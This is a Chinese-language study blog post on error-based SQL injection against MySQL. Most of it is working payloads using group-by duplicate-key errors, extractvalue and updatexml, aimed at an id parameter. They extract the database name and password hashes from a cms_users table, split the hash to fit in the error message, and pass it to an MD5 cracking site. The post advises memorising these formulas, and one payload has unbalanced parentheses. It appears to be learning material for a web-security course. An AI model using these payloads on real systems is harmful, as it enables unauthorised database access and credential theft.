2.报错注入

其余web文章参考:web学习目录

在注入过程中发现sql语句的报错信息会在页面中显示,因此可以利用报错信息进行注入

报错注入的原理,在错误的信息中执行SQL语句。触发报错的方式有很多,具体细节也不相同。建议直接背公式,将公式换掉and 1=1 的部分

gourp by重复键冲突

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) limit 1
//0x5是^
//limit 1  是查询结果多余一行的时候用来限制
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

得到结果如下:进行cmd5

image-20230212221339794

extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,((select password from cms_users),0x5e))
//如果用这个语句直接查询,md5有32位,但是报错提示不会显示那么长,所以要分段截取
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),1,16),0x5e))
//结果为:XPATH syntax error: '^e10adc3949ba59ab^'  
 
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
//结果为:XPATH syntax error: '^be56e057f20f883e^'

updatexml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
posted @ 2023-03-30 10:57  热死也要烫头  阅读(46)  评论(0编辑  收藏  举报